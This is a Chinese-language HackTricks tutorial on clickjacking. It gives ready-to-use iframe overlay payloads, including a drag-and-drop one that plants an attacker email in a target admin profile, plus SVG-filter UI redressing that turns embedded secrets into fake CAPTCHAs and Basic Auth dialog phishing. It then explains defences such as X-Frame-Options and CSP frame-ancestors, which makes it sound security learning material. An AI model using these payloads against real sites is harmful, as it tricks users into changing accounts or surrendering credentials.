Clickjacking
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
什么是 Clickjacking
在 Clickjacking 攻击中,用户 被 诱导 去 点击 网页上的某个 元素,该元素要么是 不可见 的,要么伪装成另一个元素。这种操控可能导致用户遭受意外后果,例如下载恶意软件、被重定向到恶意网页、泄露凭证或敏感信息、金钱转账,或在网上购买商品。
预填表单技巧
有时可以在加载页面时通过 GET 参数 填充表单字段的值。攻击者可能滥用此行为,用任意数据填充表单并发送 Clickjacking payload,使用户按下 Submit 按钮。
使用 Drag&Drop 填充表单
如果你需要用户去 填写表单,但又不想直接要求他输入某些特定信息(例如你已知的邮箱或特定密码),你可以让他 Drag&Drop 某些东西,该操作会填入你控制的数据,类似于 这个例子.
基本 Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Multistep Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
如果你发现一个需要用户点击的 XSS attack来触发 XSS,并且页面易受 clickjacking影响,你可以滥用它诱导用户点击按钮/链接。
示例:
你在账户的一些私有信息中发现了一个 self XSS(这些信息只有你可以设置和读取)。用于设置这些信息的form页面易受 Clickjacking影响,并且你可以用 GET 参数prepopulate该form。
攻击者可以对该页面准备一个 Clickjacking 攻击,prepopulating 该form以放入XSS payload,并tricking该user去Submit表单。因此,when the form is submitted 且值被修改后,user will execute the XSS。
DoubleClickjacking
首先在这篇文章中有解释,这种技术会要求受害者在一个放在特定位置的自定义页面上的按钮上双击,并利用 mousedown 和 onclick 事件之间的时间差,在双击过程中加载目标页面,从而使受害者实际上会点击目标页面中的合法按钮。
一个示例可以在这个视频中看到:https://www.youtube.com/watch?v=4rGvRRMrD18
示例代码可以在 this page 找到。
Warning
该技术可以诱使用户在受害者页面的同一位置点击,从而绕过所有针对 clickjacking 的防护。因此攻击者需要找到可以只用一次点击就能完成的敏感操作,比如 OAuth 提示接受权限。
SVG Filters / Cross-Origin Iframe UI Redressing
现代的 Chromium/WebKit/Gecko 构建允许将 CSS filter:url(#id) 应用于跨域 iframe。iframe 的栅格化像素会作为 SourceGraphic 暴露给 SVG filter graph,因此像 feDisplacementMap、feBlend、feComposite、feColorMatrix、feTile、feMorphology 等原语可以在用户看到之前任意扭曲受害者的 UI,即使攻击者从未触碰 DOM。一个简单的 Liquid-Glass 风格滤镜如下:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- 有用的原语:
feImage加载攻击者位图(例如 overlays、displacement maps);feFlood构建恒定颜色遮罩;feOffset/feGaussianBlur精细化高光;feDisplacementMap折射/扭曲文本;feComposite operator="arithmetic"实现任意每通道数学运算(r = k1*i1*i2 + k2*i1 + k3*i2 + k4),足以用于对比度增强、遮罩及 AND/OR 操作;feTile裁剪并复制像素探针;feMorphology放大/缩小描边;feColorMatrix将 luma 移入 alpha 以构建精确遮罩。
将秘密扭曲成 CAPTCHA 风格的提示
如果一个可被嵌入的端点呈现 secrets (tokens, reset codes, API keys),攻击者可以将它们扭曲成类似 CAPTCHA 的形式,从而强迫人工转录:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
被扭曲的像素欺骗用户,让他们在攻击者控制的 <input> 中“解答” captcha,而该 pattern 强制执行真实受害者的秘密。
重构受害者输入的上下文
滤镜可以外科式地删除 placeholder/validation 文本,同时保留用户的按键。一个工作流程:
feComposite operator="arithmetic" k2≈4放大亮度,使灰色辅助文本饱和为白色。feTile将工作区域限制到输入框矩形。feMorphology operator="erode"加粗受害者输入的深色字形,并通过result="thick"保存它们。feFlood创建一个白色底板,feBlend mode="difference"与thick结合,第二个feComposite k2≈100将其变为强对比的亮度蒙版。feColorMatrix将该亮度移入 alpha,feComposite in="SourceGraphic" operator="in"仅保留用户输入的字形。- 另一个
feBlend in2="white"加上薄裁剪产生一个干净的文本框,之后攻击者覆盖自己的 HTML 标签(例如,“Enter your email”),而隐藏的 iframe 仍然强制执行受害者源的密码策略。
Safari 在 feTile 上表现不佳;对于仅 WebKit 的 payloads,同样的效果可以通过由 feFlood + feColorMatrix + feComposite 构建的空间遮罩来重现。
像素探测、逻辑与状态机
通过用 feTile 将一个 2–4 px 的区域裁剪并平铺到视口的 100%,攻击者将采样颜色转换为全帧纹理,然后可以对其进行阈值处理以生成布尔掩码:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
对于任意颜色,使用一个 feFlood 参考(例如 #0B57D0)加上 feBlend mode="difference" 和另一个算术复合(k2≈100,k4 作为容差)只会在采样像素与目标色匹配时输出白色。将这些掩码输入 feComposite 并调节 k1..k4 可构成逻辑门:通过 k1=1 得到 AND,通过 k2=k3=1 得到 OR,通过 feBlend mode="difference" 得到 XOR,通过与白色混合得到 NOT。将这些门串联在滤镜图中即可构成一个全加器,证明该管线在功能上是完备的。
因此,攻击者可以在不使用 JavaScript 的情况下读取 UI 状态。以下是来自模态工作流的示例布尔状态:
- D(对话框可见):探测被变暗的角落并与白色比较。
- L(对话框已加载):探测按钮准备就绪后出现的坐标。
- C(复选框已选中):将复选框像素与活动蓝色
#0B57D0比较。 - R(红色成功/失败横幅):在横幅矩形内使用
feMorphology和红色阈值。
每个被检测到的状态都会控制通过 feImage xlink:href="data:..." 嵌入的不同覆盖位图。用 D、L、C、R 对这些位图进行掩码处理,可使覆盖与真实对话框保持同步,并在不暴露 DOM 的情况下引导受害者完成多步工作流(密码重置、批准、破坏性确认)。
Sandboxed iframe Basic Auth 对话框(无 allow-popups)
即使没有 allow-popups,sandboxed iframe 仍然可以在某次加载返回 401 并带有 WWW-Authenticate 时弹出由浏览器控制的 HTTP Basic Authentication modal。该对话框由浏览器的网络/认证层生成(不是 JS 的 alert/prompt/confirm),因此 sandbox 中的弹窗限制不会抑制它。如果你能对 iframe 进行脚本控制(例如 sandbox="allow-scripts"),就可以将其导航到任何发出 Basic Auth 挑战的端点:
<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>
一旦响应到达,即使弹出窗口被禁止,浏览器仍会提示输入凭证。通过这个技巧将受信任的源进行框架化可以实现 UI redress/phishing:在 “sandboxed” 小部件内出现意外的模态提示会使用户感到困惑,或触发密码管理器提供已保存的凭证。
浏览器扩展:DOM-based autofill clickjacking
除了 iframing 受害者页面外,攻击者还可以针对注入到页面中的 browser extension UI 元素。密码管理器会在聚焦输入附近渲染 autofill 下拉菜单;通过聚焦攻击者控制的字段并隐藏/遮挡扩展的下拉(opacity/overlay/top-layer 技巧),被迫的用户点击可以选择已保存的条目并将敏感数据填写到攻击者控制的输入中。该变体不需要任何 iframe 暴露,完全通过 DOM/CSS manipulation 实现。
- For concrete techniques and PoCs see: BrowExt - ClickJacking
缓解 Clickjacking 的策略
客户端防御
在客户端执行的脚本可以采取以下措施来防止 Clickjacking:
- 确保应用窗口是主窗口或顶层窗口。
- 使所有框架可见。
- 阻止对不可见框架的点击。
- 检测并提醒用户潜在的 Clickjacking 尝试。
然而,这些 frame-busting 脚本可能会被绕过:
- 浏览器的安全设置: 某些浏览器可能根据其安全设置或缺乏 JavaScript 支持而阻止这些脚本。
- HTML5 iframe
sandboxAttribute: 攻击者可以通过在sandbox属性中设置allow-forms或allow-scripts值但不包含allow-top-navigation来使 frame buster 脚本失效。这将阻止 iframe 验证它是否为顶层窗口,例如,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
allow-forms 和 allow-scripts 值允许在 iframe 内执行动作,同时禁止顶级导航。为确保目标站点的预期功能,可能需要根据攻击类型添加 allow-same-origin 和 allow-modals 等权限。浏览器控制台的消息可以指导应允许哪些权限。
服务器端防御
X-Frame-Options
X-Frame-Options HTTP 响应头 通知浏览器是否允许在 <frame> 或 <iframe> 中渲染页面,从而帮助防止 Clickjacking:
X-Frame-Options: deny- 没有任何域可以嵌入该内容为框架。X-Frame-Options: sameorigin- 只有当前站点可以嵌入该内容。X-Frame-Options: allow-from https://trusted.com- 只有指定的 ‘uri’ 可以嵌入该页面。- 注意其局限性:如果浏览器不支持该指令,则可能无效。有些浏览器更倾向于使用 CSP 的 frame-ancestors 指令。
Content Security Policy (CSP) frame-ancestors directive
CSP 中的 frame-ancestors 指令 是推荐的 Clickjacking 防护方法:
frame-ancestors 'none'- 类似于X-Frame-Options: deny。frame-ancestors 'self'- 类似于X-Frame-Options: sameorigin。frame-ancestors trusted.com- 类似于X-Frame-Options: allow-from。
例如,下面的 CSP 只允许来自同一域的嵌入:
Content-Security-Policy: frame-ancestors 'self';
更多细节和复杂示例可以在 frame-ancestors CSP documentation 和 Mozilla’s CSP frame-ancestors documentation 中找到。
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) 是一种安全措施,通过指定浏览器允许从哪些来源加载内容,来帮助防止 Clickjacking 和其他代码注入攻击。
frame-src Directive
- 定义了 frames 的有效来源。
- 比
default-src指令更具体。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
此策略允许来自同源(self)和 https://trusted-website.com 的 frames。
child-src 指令
- 在 CSP level 2 中引入,用于为 web workers 和 frames 设置有效来源。
- 作为 frame-src 和 worker-src 的回退。
Content-Security-Policy: child-src 'self' https://trusted-website.com;
此策略允许来自同源(self)和 https://trusted-website.com 的 frames 与 workers。
使用说明:
- 弃用:child-src 正在被弃用,建议使用 frame-src 和 worker-src。
- 回退行为:如果缺少 frame-src,则使用 child-src 作为 frames 的回退。如果两者都缺失,则使用 default-src。
- 严格的来源定义:仅在指令中包含可信来源以防止被利用。
JavaScript 防嵌入脚本
尽管不能完全万无一失,但基于 JavaScript 的防嵌入(frame-busting)脚本可用于防止网页被嵌入框架。示例:
if (top !== self) {
top.location = self.location
}
使用 Anti-CSRF Tokens
- Token Validation: 在 web 应用中使用 anti-CSRF tokens,以确保会改变状态的请求是由用户有意发起的,而不是通过 Clickjacked 页面发起的。
References
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
- Iframe sandbox Basic Auth modal
- Chromestatus: Restrict sandboxed frame dialogs
- Chromium issue about sandboxed auth dialogs
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


